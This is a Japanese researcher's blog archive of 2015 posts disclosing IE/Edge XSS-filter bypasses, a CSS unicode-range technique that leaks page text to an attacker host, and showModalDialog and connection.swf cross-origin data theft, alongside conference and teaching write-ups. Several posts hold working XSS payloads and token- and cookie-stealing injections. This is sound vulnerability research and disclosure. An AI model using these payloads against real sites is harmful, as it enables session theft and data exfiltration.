2015/12/17

IE/EdgeのXSSフィルターを利用したXSS

English version: http://mksben.l0.cm/2015/12/xxn.html
------------------------------------------------
2015年12月のMicrosoftの月例アップデートで修正された、Internet ExplorerとEdgeのXSSフィルターに存在した問題(CVE-2015-6144 および CVE-2015-6176)について書きます。

2015 年 12 月のマイクロソフト セキュリティ情報の概要
https://technet.microsoft.com/ja-jp/library/security/ms15-dec.aspx

修正された問題は、2015年10月に行われたセキュリティカンファレンスのCODE BLUEで詳細を伏せて発表した、IE/EdgeのXSSフィルターの動作を利用してXSS攻撃する手法の一部です。「一部」と書いたように、今回のパッチでは、報告した問題の全てが修正された訳ではありませんでした。当初、発表するつもりで作った、攻撃手法の詳細も含めたスライドを、未修正の部分を伏せて以下で公開します。



また、以下で3つの手法のPoCを公開しています。修正され次第、他のPoCも公開します。

http://l0.cm/xxn/

詳しい原理等については資料を見てもらうとして、この記事では、ざっくりと手法に触れながら、今回施された修正方法に言及したいと思います。

1. style属性の遮断を悪用するパターン

次のような、style属性の追加によるXSSの遮断を、


</style>の閉じタグに誤マッチさせることで、閉じタグを破壊し、攻撃を成立させます。


Microsoftはこの問題に対し、style属性部の遮断時だけ、強制的にmode=blockの動作にすることで回避したようです。確かに問題は起きなくなりますが、これじゃあ、X-XSS-Protection:1の動作とはなんだったのか…、という気がします。
ただ、確実な回避策にはなっているので、ひとまずはこれでよいと思います。(実際、僕はデフォルト動作をひとまずmode=blockにすることで回避したらどうかとMSに提案していました。)

2. 文字列リテラルの遮断を悪用するパターン その1( <script src=***></script> を利用)

次のような、文字列リテラルでの、プロパティアクセス後の代入による攻撃(実際には例えば、";document.body.innerHTML="攻撃文字列"//のような形で攻撃します)の遮断を利用し、


スクリプトタグのsrcの値に誤マッチさせることで、外部リソースをスクリプトとしてロードして攻撃します。

どう修正されたかは、次の手法でまとめて紹介します。

3. 文字列リテラルの遮断を悪用するパターン その2( <link rel=stylesheet href=***> を利用)

同じく、文字列リテラルでの遮断を、無関係の文字列に誤マッチさせます。
今度は、<link>タグのhrefの相対パスの.を利用し、攻撃に繋げるという方法です。


2と3の問題のMicrosoftの修正にはびっくりしました。
プロパティアクセス後の代入の遮断時だけ、.を、これまでの#の代わりに、^(0x5E)に置換するよう変更したのです!なんじゃそりゃ~(^_^)!
確かに、この2つの問題は回避できるかもしれませんが、この修正は良いとは思えません。

JavaScriptにおいて、^は演算子です。document.locationdocument^locationに変わってもエラーになりません。この時点で、 既存のインラインスクリプトに含まれる.をうまいこと^に変えることで、エラーを起こさずに何かおかしな動作を意図的に起こせるかもしれないことは容易に想像できます。じゃあ、.が JavaScriptの正規表現に含まれていたら、そしてそれが^に置換されたら、どうなるでしょう…?考え出すと、これならOKという気はまったくしません。

このような修正を繰り返しても、XSSフィルターを使ったXSSパズルのピースが変わっただけであり、本質的には何も安全になっていないと思います。

報告では、XSSフィルターの遮断方法はこのままじゃまずいよね、という思いも伝えられたと思っていただけに、今回のパッチの回避方法は、現在の遮断方法に危機感を持っていないとしか思えないものであり、非常に残念でした。

もう一度コンタクトし直して、そういった思いを伝え、今回、紹介を伏せた、まだ修正されていないXSSフィルターの問題が修正される時には、根本的な部分まで改善されることを期待したいと思います。

開発者の方には、資料の中でも書いた通り、引き続き、自分のサイトのすべてのページで、X-XSS-Protection:1;mode=blockX-XSS-Protection:0のヘッダを指定することを推奨したいと思います。これがXSSフィルターによって、不本意にページを変更されることの開発者側でできる回避策になります。

2015/11/21

AVTOKYO2015の発表資料「バグハンターの哀しみ」を公開

English version: http://mksben.l0.cm/2015/11/avtokyo2015.html
----------------------------------------------------

2015年11月14日に行われたセキュリティカンファレンス、AVTOKYO2015で発表しました。

ご存知の方もいらっしゃるかと思いますが、2013年9月、脆弱性の検査がきかっけで、ISPに自宅のインターネットを止められるということがありました。発表では、このときの詳細をお話しました。資料は以下にあります。





聴いて頂いた皆様、ありがとうございました。発表後、聴いて頂いた方の意見を伺い、誰がどうしていればこのような問題が起きずに済んだのかといったことを議論したりもでき、とても有意義な時間を過ごすことができました。このような機会を頂きありがとうございました。

ちなみに昨年、「バグハンターの愉しみ」という発表もCODE BLUEで行っています。今回はその対となるタイトルとして、「バグハンターの哀しみ」と名付けました。「愉しみ」の資料も以下で公開しているので、よかったらご覧ください。
http://masatokinugawa.l0.cm/2015/07/codeblue.html

次回、「バグハンターの○○み」でお会いしましょう! (もうやりません!)

2015/10/24

@font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す

English version: http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
----------------------------------

CSSの @font-faceのunicode-range を使った攻撃手法を思いついたので共有します。

この手法を使うと、攻撃者はCSSだけでページ内に書かれたテキストを推測することができます。
この手法は、次のような場面で利用できるかもしれません。

・ ブラウザのXSS保護機能のバイパス(ChromeのXSS Auditorは<style>の注入をブロックしない)
・ ターゲットのページで、JavaScriptの実行はできないがスタイルが注入できた場合の攻撃への利用

自分が知る限りでは、CSSを利用した今でも使える既知の攻撃手法には、属性値を読み取れるものはあっても、テキストの中身を読み取る手法は知りません。この手法は、完全には読み取ることはできないながらも、それを可能にします。

属性を読み取る手法は以下のページのAttribute Readerで紹介されています。まだ現役の手法です。

CSS - The Sexy Assassin
http://p42.us/css/


今のところ、ChromeとFirefox Nightly 44で動作します。それでは、みていきます。

以下のようなページがあるとします。
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* 取得される */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* これも取得される */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* 取得されない */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

このページにアクセスすると、ChromeとFirefox Nightlyでは、http://attacker.example.com/?Ahttp://attacker.example.com/?Bに対するリクエストが飛びます。一方、http://attacker.example.com/?Cに対するリクエストはとびません。

これは、ChromeとFirefox Nightlyでは、フォントを適用しようとしている部分にunicode-rangeの範囲内の文字が含まれているときだけ、フォントをロードする動作になっているためです。
フォントを適用しようとしている部分であるsensitive-informationのidを持った部分をみると、「A」と「B」しか含まれていないため、「A」と「B」のフォントだけロードし、「C」のフォントはロードしないという動作になっている訳です。

この時点で既に、 attacker.example.com は、sensitive-informationに "A"と"B" が含まれているが、 "C" は含まれていないことを知れたということになります。

もう少し、取得対象の文字を増やした例をみてみます。

以下のページにChromeからアクセスし、
http://vulnerabledoma.in/poc_unicode-range2.html

開発者ツールのネットワークタブをみてください。次のようなリクエストが見れるはずです。



見てのとおり、 M,a,s,t,o,K,i,n,u,g,w を含む外部へのリクエストが送信されています。ここで気付くことは、重複してでてくる文字( この場合、a )はわからないということです。それでも、この例のように、取得の対象によっては、内容を推測するのに十分な情報を攻撃者に与えるはずです。

この動作は仕様にも明記されているようです。(http://www.w3.org/TR/css3-fonts/#composite-fonts のEXAMPLE 13を参照)

フォントのダウンロードを必要最低限に抑えることで、リクエスト量を減らすことができますが、一方で、その副作用として、新しい攻撃の可能性がうまれてしまったというところでしょう。
Chromeチームにも報告しましたが、WontFixという扱いになりました。

JavaScriptの実行ほど大きな脅威ではないとはいえ、現在でも、CSSだけでも攻撃が可能になる場合があるということは覚えておいた方がよいかもしれません。

2015/09/29

ブラウザのXSS保護機能をバイパスする(7)

English version: http://mksben.l0.cm/2015/09/bypassing-xss-filter-hzgb2312.html
--------------------------------------------------------

HZ-GB-2312という文字コードのエスケープシーケンスにあたるバイト、~[0x0A]~{を使ってIEのXSSフィルターをバイパスできることに気付いたので紹介します。
この手法はページのContent-Typeレスポンスヘッダで文字コードが指定されていない時限定で使えます。

バイパス 1:

以下にIEでアクセスしてAAAにマウスを移動し、XSSフィルターに遮断されずにアラートが出ることを確認してください。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA


以下のようにすればユーザインタラクションなしにもできます。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a


XSSフィルターは、Content-Typeレスポンスヘッダで文字コードが指定されていないとき、HZ-GB-2312のエスケープシーケンスにあたるバイト列を特別扱いしているようです。 (多分、昔、文字コードの自動選択でHZ-GB-2312が選択されていた時に、エスケープシーケンスをうまく攻撃文字列の間に挟んだりするとバイパスできる場合があったりしたために、こんな風に特別扱いして、で、なんかうまくいってないと推測します。 今は、少なくとも日本語のシステムロケールでは、HZ-GB-2312は自動選択されないはず。)

属性を区切る文字がくるところに~[0x0A]を置くと遮断に失敗します。

charsetがContent-Typeレスポンスヘッダで適切に指定されたページでは、以下のように適切にフィルターされます。
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA


ただし、Content-Typeレスポンスヘッダでなくmetaタグだけでcharsetを指定した場合だとまだ動きます。
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

バイパス 2:

以下にアクセスし、「go」ボタンをクリックすると、XSS脆弱性がある文字列リテラル部から、click()が呼び出されることが確認できます。(※click()が呼び出される側はドキュメントモードが古くないとエラーになります。)

http://l0.cm/xssfilter_hz_poc.html


次のようなコードからclick()が呼び出されています。
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>

これも通常なら、以下のように";{valueOf:という文字列で遮断が起こるのですが、

http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:

~{というHZ-GB-2312のエスケープシーケンスが間に入ってきていることで遮断に失敗します。

valueOfの代わりにtoStringも使えます。

http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
<script>var q="";~{toString:opener.button.click}//"</script>
この2つの手法、まず";~{valueOf:}//がなぜか遮断されないことに気付いたのが発見のきっかけです。最初はHZ-GB-2312が関係してるとは思わなかったのですが、どうみてもmshtml.dll内の正規表現には合致するのにおかしいと思って、みていくと遮断されないのが~{が入っているときだけだったので、HZ-GB-2312が関係していると勘付きました。じゃあ他にもエスケープシーケンスが入ったらうまく遮断されないケースがあるのではないかとみていったところ、バイパス1のケースにも気付きました。

文字コード関係のことには普通の人よりは触れてきたので、自分だからこそ気付けた問題だったかもしれません。

2015/08/18

セキュリティ・キャンプ全国大会2015の資料を公開

2015年8月11~15日の間行われたセキュリティ・キャンプ全国大会2015に、今年も講師として参加してきました。使用した資料を公開します。


1. 事前学習として用意した「簡単にSOP周辺を理解するページ」
http://vulnerabledoma.in/camp2015_sop/


2. 講義に使用したスライド



3. 特別コーナーで使用したスライド




1つ目のスライドは、自分がキャンプの1日目に担当した「バグハンティング入門」という講義で使用したものです。講義では、脆弱性を探すときにどのような点に注目すればいいのかを過去に発見した/されたWeb周辺のバグを通して説明しました。

題材のアプリケーションには、サイボウズLiveとIEのXSSフィルターを選びました。

サイボウズLiveは、キャンプの連絡事項の伝達に使うため、参加者全員が必ず使うWebアプリケーションになります。身近に使っているアプリケーションにも脆弱性があることを感じてもらいやすいと考え、昨年に続いて題材に選びました。また、サイボウズは脆弱性の検査/報告を歓迎しているし、申請すると検査用の環境を個別に用意してくれるので、キャンプが終わった後も脆弱性を探したいと思った参加者に勧めやすいというのも選んだ理由です。だって、万が一、誤解を招いて参加者がインターネットを止められても困りますからね

XSSフィルターについては、自分がとりわけ詳細まで把握している機能で扱いやすかったため、題材に選びました。あと、キャンプで使う演習用のPCがWindowsで、何も指示しなくてもIEなら必ず入っているため、準備が楽だったからというのもあります。

講義では、実習として、実際にXSSフィルターのバイパスに挑戦してもらいました。もちろん、実習の期間中に未知のバイパスを発見しろという無茶な話ではなくて、考慮された典型パターンからはずれると、簡単にバイパスできてしまう場合があることを知ってもらうために、意図的にバイパスできる状況を設定したものを突破してもらいました。

ちなみにXSSフィルターのバイパスチャレンジはキャンプ参加者以外の方も以下で挑戦できます。ゴールは、IE10以上(Edgeはダメです)を使ってXSSフィルターをバイパスし、alert(1)を実行することです。
日頃XSSをプレイしている人にはChallenge 1337以外は簡単だと思います。

Challenge 1
http://vulnerabledoma.in/camp2015/challenge?q=[XSS_HERE]

Challenge 2
http://vulnerabledoma.in/camp2015/challenge2?q=[XSS_HERE]

Challenge 1337
http://vulnerabledoma.in/camp2015/challenge1337?q=[XSS_HERE]


参加者には引き続き自分で回答を探してもらっているので、答えがわかっても、回答をパブリックにしないようお願いします。

問題(1と2)はかなり単純だと考えていたので、10分程度の演習時間を予定していましたが、30分以上を使っても、結局、講義中に解けたのは講師だけでした。もう少し段階的に説明するべきだったかなと、少し反省していますが、それでも講義後には、ぽつりぽつりと回答者が出始めたので、興味を持って取り組んでもらえているように思います。キャンプの準備には随分苦労しましたが、少しでも興味を持ってもらえたなら、講義をした甲斐があったと思います。

expression()とかXSSフィルターのバイパスとか、そんなの入門じゃないだろうと思うかもしれませんが、それを覚えてほしいという意図はなくて、探し方のポイントをおさえれば、そういった、人が見落としやすい部分に目を向けたり、複雑にみえる問題を解決していけるようになるということが講義を通して伝えたかったことです。


2つ目のスライドは、2日目の夕食時に行われた特別コーナー、「俺たち、高レイヤーの講師だけど質問ある?」で発表したものです。この日、ちょうど自分の報告したFirefoxの脆弱性(CVE-2015-4483)が修正されたので、どのような問題だったか、どのようにして発見に至ったかについて、自分の講義で紹介した脆弱性発見のテクニックを実際の場面で使っていることを示しながら解説しました。わかりやすく、扱うのに最適な実例だったので、Mozillaは本当にいいタイミングで修正してくれたなと思います。


参加者の皆さん、5日間お疲れ様でした。
ぜひこれから、もっと深い知識をつけ、自分の手でまだ誰も発見していない驚くような脆弱性を発見して欲しいと思います。皆さんの活躍を楽しみにしています!

2015/07/01

CODE BLUEの発表資料「バグハンターの愉しみ」を公開

English version: http://mksben.l0.cm/2015/07/codeblue.html
--------------------------------------------------------

2014年12月に開催された国際セキュリティ会議、CODE BLUEで、「バグハンターの愉しみ」というタイトルで発表させて頂きました。先日、公式ページでスライドが公開されましたので、僕のスライドをここでも共有します。



他のスピーカーの方々のすごいプレゼンは以下で見られます。
http://codeblue.jp/2015/archive/2014/

講演の動画はポリシーにより公開していません。
会場の雰囲気はITmediaと@ITに書いて頂いた記事からお楽しみください。

Googleへの報告件数は世界2位:脆弱性発見のプロ「キヌガワ マサト」さんは日本人だった - ITmedia エンタープライズ
http://www.itmedia.co.jp/enterprise/articles/1412/20/news003.html

セキュリティ業界、1440度(13):自動車、ホームルーター、チケット発券機――脅威からどう守る? (2/2) - @IT
http://www.atmarkit.co.jp/ait/articles/1501/22/news008_2.html

CODE BLUEレポート:脆弱性を見つける人、対応する人、使う人、皆がハッピーになるヒントとは (2/2) - @IT
http://www.atmarkit.co.jp/ait/articles/1501/13/news036_2.html


僕はここ2年くらいではじめてセキュリティに関係する人と実際に顔をあわせる場に出るようになったのですが、そういった場で、やっていることの特異さから、自分の活動について多くの人に関心を持ってもらっていることに気が付きました。発表を聴いて頂いた方や資料を見てもらった方はご存知の通り、僕はここ数年間、個人で、脆弱性報酬制度を実施する企業の脆弱性を探して、その報酬を得ることを主な収入源にしてきました。近年になって、脆弱性を探すことのできる人を指す「バグハンター」という言葉も徐々に使われるようになってきた印象がありますが、それでも、バグの発見だけで生計を立てている人は世界中をみてもあまりききません。僕も気が付いたらそんな稀少種になってしまっていたのですが、そんなに自分に関心を持ってもらえているのなら、一度ちゃんとした場でありのままの職業バグハンターの姿を話してみようと思い、今回発表することを決めました。

第1回目や今回の他のスピーカーの方の難しい発表の数々を見て、自分が出ていっていいのだろうかとも思いましたが、簡単な発表であった分、技術をわからない人でもそれなりに楽しんで聴いて頂けたのではないかと思っています。そんな僕のライトな発表は、CODE BLUEのFacebookのページでは"軽妙な語り口"と表現されていて、なるほどそんな僕に配慮された絶妙な言い方もできるのかと感心しました。

発表を聴いて下さった皆様、ありがとうございました。少しでもバグを探すことの面白さをわかってもらえれば嬉しいです。
また、このような機会を与えて下さったCODE BLUE実行委員会の方々、特に代表の @_kana さん、CODE BLUEのことを教えて下さった @hasegawayosuke さん、発表内容について相談させて頂いた @takesako さんにも感謝します。

第3回目も開催されることが決まったようで、今年も面白い発表が行われることを期待しています。

2015/06/16

ブラウザのXSS保護機能をバイパスする(6)

Hi! Are you English-speaker? Good news! Finally, I started my blog in English:

Bypassing IE's XSS Filter with showModalDialog
http://mksben.l0.cm/2015/06/bypassing-xss-filter-showmodaldialog.html

I'm not good at English, but I think it is easier to read than Google translate. Maybe.
Enjoy!
-----------------------------------------------------------------------------

先日、古くからあるJavaScriptの関数の1つの、showModalDialogの挙動について詳しくみていました。showModalDialogは、Chromeでは既に動かないし、次期Windowsに搭載されるMicrosoftの新ブラウザ「Edge」でも廃止、Firefoxでも間もなく廃止予定という、着々と消されつつある機能です。なぜこんな死にかけを見ようと思ったかというと、この関数は、ただ新しいウインドウを開くだけではない、個性的な機能を持っており、ちゃんと見てみれば今でも何か面白いことがみつかるかもしれないと思ったからです。その結果、IEのXSSフィルターをバイパスできることに気付いたので今日はそれを紹介します。

まずはshowModalDialogの機能をおさらいしましょう。




showModalDialogの第1引数はモーダルなウインドウ(閉じるまで他のウインドウの操作ができない)にロードするURL、第2引数はモーダルなウインドウに渡せる特別な引数です。第2引数にいれた値は、モーダルなウインドウのwindow.dialogArgumentsプロパティを通じてアクセスできます。さらに、モーダルなウインドウ中で、window.returnValueプロパティに何かを代入すると、モーダルなウインドウを閉じた時に、showModalDialogを実行した側の戻り値に使われます。

うわあ。この、古い機能のダサすぎるかんじ、いいですね…(*´_`*)

要は、dialogArgumentsreturnValueは、ウインドウ間の情報の引き渡しに使われているということです。ここで、dialogArgumentsreturnValueは2つのウインドウのオリジンが異なっていても渡せるのか、ということが気になりました。それぞれ、渡せるとすれば、渡せないことを前提にdialogArguments/returnValueを書き出すようなことをしていればXSSが起きるかもしれないし、returnValueに機密情報を入れている場合は、無関係なところに情報が渡るかもしれないことになります。ということで、簡単にテストしてみました。

まず、dialogArgumentsは、現在showModalDialogをサポートしているFirefox、IE、Safari(OS X)のすべてで別オリジンに引き渡すことはできませんでした。

Firefoxは過去に値を設定できていたようですが、脆弱性として修正されたようです。

MFSA 2010-04: window.dialogArguments がクロスドメインで読み取り可能なことによる XSS
http://www.mozilla-japan.org/security/announce/2010/mfsa2010-04.html

一方、returnValueは違いました。Firefoxでは制限されていましたが、SafariとIEではオリジンを超えて引き渡すことができました。

以下でテストできます。

http://vulnerabledoma.in/showModalDialog/opener.html

Safariは素直に引き渡せます。x-originのボタンを押しダイアログを開いて、「Set returnValue and close this dialog」を押し、異なるオリジン( www.vulnerabledoma.in → vulnerabledoma.in ) へ 値が渡ることを確認してみてください。
IEは間にリダイレクトを挟むと渡せます。x-originのボタンからは動かないですが、x-origin(redirect) のボタンからは動きます。

この挙動によって、次の2つの問題が考えられます。

1. showModalDialogを実行した場所が同じオリジンかどうか確認せずにreturnValueに機密情報を渡している場合に、無関係のサイトに情報を奪取される可能性がある。
2. showModalDialogで開いたダイアログ内で攻撃者のページまでページ遷移を発生させることができた場合、別ページで攻撃者の設定したreturnValueが元ページの戻り値に渡り、XSSなどが発生する可能性がある。(ただしこれはSafariのみ。IEはshowModalDialogのウインドウでのページ遷移が制限されている模様。)

どちらもターゲットのサイトでshowModalDialogがたまたまこの条件で使われていなければ問題にならないので、あまり大きな問題ではないと思います。
今回は、showModalDialogの安全な使い方を論じるつもりでこの話をしたわけではありません。
ここからが本題です。この挙動を使ってIEのXSSフィルターをバイパスします。

悪用が可能になるには次の2つの条件が必要です。

1. JavaScriptの文字列リテラルにXSSがある。
2. JavaScriptのプロパティのどれかに機密情報が含まれている。


以下はこの条件を持ったテストページです。

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="[XSS_HERE]"</script>

ページ内にCSRFトークンが含まれており(条件2)、XSS_HERE が入っている文字列リテラルの部分にXSSがある(条件1) といったかんじです。
今回はこのページからトークンを奪います。早速ですが、以下にバイパスのデモページを用意したので、アクセスして、"go"をクリックしてみてください。

http://l0.cm/xssfilter_bypass/showModalDialog.html

うまくいけば、モーダルダイアログを閉じた時にトークンがアラートされるはずです。

原理はまず、XSSに脆弱なページに3xx台のリダイレクトをかますことで、前述のIEの挙動を利用してreturnValueが別オリジンにも渡るようにします。
リダイレクト後の脆弱なページには次のような文字列を挿入します。

http://vulnerabledoma.in/xss_token?q=%22%3BreturnValue=form.token.value//
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>var q="";returnValue=form.token.value//"</script>
reurnValueにtokenを引き渡しています。これでウインドウを閉じた時に、別オリジンに情報がパスされるという訳です。

また、次のような文字列も攻撃に使える場合があるでしょう。

";returnValue=document.cookie//
";returnValue=localStorage.key//

同一オリジンの別のwindowオブジェクトにwindow.openerを経由してアクセスできたらもっと面白いと思ったのですが、openerを参照できず、失敗に終わりました。誰かこの手の方法、思いつきますかね?

このバイパスはXSSフィルター側で容易に対策できると思います。具体的には、文字列リテラル部分の遮断ルールのブラックリストにreturnValueを追加するだけです。"returnValue"という文字列は長いので、副作用もなく簡単に追加できると思います。まぁ、リダイレクトを通さないと値が渡らないことから、別オリジンのreturnValueから値が渡ることはMicrosoftの認識からすればバグだと思うので根本的に直すならそっちを直すべきだと思いますが。


以上です。古い機能の有効活用みたいなかんじですね!

余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。それじゃまた!


追記(2015/6/17)

同一オリジンの別ページの情報を取得する方法を思いつきました。とりあえず以下のページで"go"を押して何が起こるか見てみてください。

http://l0.cm/xssfilter_bypass/showModalDialog2.html

別ページにある「<h1>This is secret Text!</h1>」がアラートされれば成功です。XSSに脆弱なフレームから欲しい情報があるフレームにtop.targetFrame.document.body.innerHTMLを経由してアクセスしてます。気付いたかもしれませんが、今回はリダイレクトを使っていません。どうも、リダイレクトを使った場合だけでなく、showModalDialogを実行したページとダイアログに開いたページが同一オリジンの場合、ダイアログに含まれるインラインフレームの別オリジンのページもreturnValueを渡せる力があるみたいです。

これ以上触ると蛇が出そうな気しかしません!

追記(2016/2/9)

XSSフィルターバイパスの問題は、2015年12月の月例アップデートで修正されたようです。"returnValue"という文字列が文字列リテラルでのXSSの遮断でブラックリストに追加されているのを確認しました。CVE-2015-6164が恐らくこれです。
https://technet.microsoft.com/ja-jp/library/security/ms15-124.aspx#ID0EX1BG

showModalDialog自体の動作(クロスオリジンで値が渡る動作)は特に変更されていないようです。

2015/05/05

connection.swf + XSS によるクロスオリジンの情報奪取

Flashを使った、ちょっと変わった情報奪取手法を紹介します。

この手法、以前から条件によっては攻撃が可能になる場合があるだろうと想像していたんですが、なかなか実例にぶつからず、2013年に開催されたサイボウズの脆弱性発見コンテスト「cybozu.com Security Challenge」で初めて本当に動作するものを発見しました。

実は既に「SECCON 2013 全国大会」でも一部詳細を発表しています。スライドの15ページの辺りから書いてある件です。
http://www.slideshare.net/masatokinugawa/cybozu-security-challenge/15

発表の時点ではサイボウズ側で修正されていなかったので、具体的な箇所を伏せていますが、今は修正されたので、具体的な箇所をあげながら説明したいと思います。

なお、この問題はFlash自体の脆弱性ではないので、今後も条件がそろえば問題が起こります。


攻撃の前提条件

ターゲットのドメインをhttp://app/とします。
ターゲットのドメインのcrossdomain.xmlallow-access-fromには、十分に信頼できるドメイン、http://trust/がリストされているとします。

この設定に致命的な間違いはありません。
しかし、特殊な状況では、appにある情報をtrustの脆弱性を経由して奪取できてしまいます。

特殊な状況とは、次のような条件がそろった場合です。

1. trustが、appcrossdomain.xmlallow-access-fromにリストされている (前述したこと)
2. trustにXSS脆弱性がある
3. trustconnection.swf(あるいはそれに準ずる機能を持つswf)がある


突然出てきた、connection.swfとは何でしょうか。

connection.swfを使った攻撃方法

connection.swfはYUI Library 2.x に同梱されている、クロスドメインで情報を取得するためのswfファイルです。

このswfファイルが具体的に何をやっているのか、ソースコードをみてみます。

yui2/connection.as at master · yui/yui2 · GitHub
https://github.com/yui/yui2/blob/master/src/connection/as/com/yui/util/connection.as

26行目のExternalInterface.addCallback()send()というFlashの関数をJavaScript経由で呼び出せるようにしています。
ExternalInterface.addCallback("send", send);
これで、<embed id=flash src=connection.swf></embed>等とすると、ロードしているページがFlashファイルがあるオリジンと同じなら、JavaScriptからflash.send()とすれば、Flashの関数を呼び出せるようになります。

Flash側のsend()をみてみます。
public function send(uri:String, cb:Object, id:uint):void {
    var loader:URLLoader = new URLLoader(),
        request:URLRequest = new URLRequest(uri),
        timer:Timer,
        prop:String;

    for (prop in cb) {
        switch (prop) {
            case "method":
                if(cb.method === 'POST') {
                    request.method = URLRequestMethod.POST;
                }
                break;
            case "data":
                request.data = cb.data;
                break;
            case "timeout":
                timer = new Timer(cb.timeout, 1);
                break;
        }
    }

    loaderMap[id] = { c:loader, readyState: 0, t:timer };
    defineListeners(id, timer);
    addListeners(loader, timer);
    loader.load(request);
    start(id);

    if (timer) {
        timer.start();
    }
}
引数から、URL、HTTP method、POSTデータなどを渡せるのがわかります。
ここで指定したURLに、57行目のloader.load(request);を通じてGET/POSTを送れるようになっています。
指定したURLのロードに成功した場合、success()という関数がイベントリスナを経由して実行されます。

success()をみてみます。
private function success(e:Event, id:uint, timer:Timer):void {
    var data:String = encodeURI(e.target.data),
        response:Object = {
            tId: id,
            statusText: 'xdr:success',
            responseText: data
        };

    loaderMap[id].readyState = 4;

    if (timer && timer.running) {
        timer.stop();
    }

    ExternalInterface.call(handler, response);
    destroy(id);
}
先頭の方にあるe.target.dataに、指定したURLから返ってくるレスポンスbodyが入ります。
これが最終的に後半の方にある ExternalInterface.call(handler, response);responseの部分に渡ります。

ExternalInterface.call()は第1引数がJavaScriptの関数、第2引数がその関数に渡す引数になります。

第1引数にある、handlerは定数で、コード全体のはじめの方で定義されています。
private var handler:String = 'YAHOO.util.Connect.handleXdrResponse';
この関数の引数に、レスポンスbodyの中身が渡されるということです。


まとめると、同一オリジン(http://trust/内)のページにconnection.swfをロードして、Flashから読み取り可能なURLを指定してflash.send()を呼び出せば、レスポンスbodyがJavaScriptの引数に入るような仕組みになっている、というかんじです。

ここで注目すべきは、別ドメインのアプリケーション(app)のcrossdomain.xmlallow-access-fromconnection.swfが設置されたドメイン(trust)がリストされていれば、appのレスポンスbodyでさえもtrustから取得できるということです。

ただそれは、あくまでconnection.swfを動かせればの話です。connection.swfを動かすようなページを人様のドメインで普通は勝手に作れません。
悪いことをしたいですが、どうしましょう?そんなときに使えるのがXSSですね!trust内にあるXSSを探して、XSSを使ってconnection.swfをロードしてしまえばいいんです。

XSSを探すのが大変ですか?朗報です!connection.swfはYUI Library 2.xに同梱されていると冒頭で書きましたが、都合がいいことに、古いYUI Library 2.xなら、XSS脆弱性を持ったswfファイルがもれなく3つ(CVE-2012-5881,CVE-2012-5882,CVE-2012-5883)ついてくるんです!アドバイザリが以下にあります。

Security Bulletin: Addressing a Vulnerability in YUI 2.4.0 through YUI 2.9.0
http://yuilibrary.com/support/20121030-vulnerability/

脆弱性は以下の部分にあります。すべてExternalInterface.call()のバグです。


charts.swf
http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1)}//

uploader.swf
http://yui.vulnerabledoma.in/uploader/assets/uploader.swf?YUISwfId=\"))}catch(e){alert(1)}//

swfstore.swf
http://yui.vulnerabledoma.in/swfstore/swfstore.swf?YUIBridgeCallback=a&YUISwfId=\"))}catch(e){alert(1)}//


ここまでで攻撃に使うパーツの説明は全て終わりました!

実際に動作する例

最後にこれらを使って、実際に動作する例をお見せしましょう。


ターゲットのアプリのドメインを xdtestapp.vulnerabledoma.in
crossdomain.xmlで信頼するドメインをyui.vulnerabledoma.inとし、以下のようにアプリ側のcrossdomain.xmlを指定します。

http://xdtestapp.vulnerabledoma.in/crossdomain.xml
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="yui.vulnerabledoma.in" />
</cross-domain-policy>

yui.vulnerabledoma.inには、YUI 2.xのconnection.swfとXSS脆弱性があるとします。

さあ、この条件で、yui.vulnerabledoma.inconnection.swf + XSS から、アプリのドメインの情報を取得する、というのをやります!

以下にアクセスして、"go"ボタンをクリックすると、アプリのドメインに置かれたsecret.txtの中身をアラートします。Chromeで動作することを確認しています。

http://yui.vulnerabledoma.in/charts/assets/charts.swf?allowedDomain=\"}%29%29%29}catch%28e%29{document.body.innerHTML=unescape(location.hash.substring(1))}//&#%3Cembed%20name%3D%22flash%22%20src%3D%22http%3A%2F%2Fyui.vulnerabledoma.in%2Fconnection%2Fconnection.swf%22%20type%3D%22application%2Fx-shockwave-flash%22%3E%3C%2Fembed%3E%0A%3Ctextarea%20id%3D%22textarea%22%3E%0AYAHOO%3D%7B%7D%3B%0AYAHOO.util%3D%7B%7D%3B%0AYAHOO.util.Connect%3D%7B%7D%3B%0AYAHOO.util.Connect.handleXdrResponse%3Dfunction%28x%29%7B%0A%09if%28typeof%20x.responseText%21%3D%27undefined%27%29%7B%0A%09%09alert%28decodeURIComponent%28x.responseText%29%29%3B%0A%09%7D%0A%7D%0Aflash.send%28%22http%3A%2F%2Fxdtestapp.vulnerabledoma.in%2Fsecret.txt%22%2C%7Bmethod%3A%22GET%22%7D%2C0%29%0A%3C%2Ftextarea%3E%0A%3Cbutton%20onclick%3Deval%28document.getElementById%28%22textarea%22%29.value%29%3Ego%3C%2Fbutton%3E


うまくいけば以下の画像のようになるはずです。(クリックで拡大)



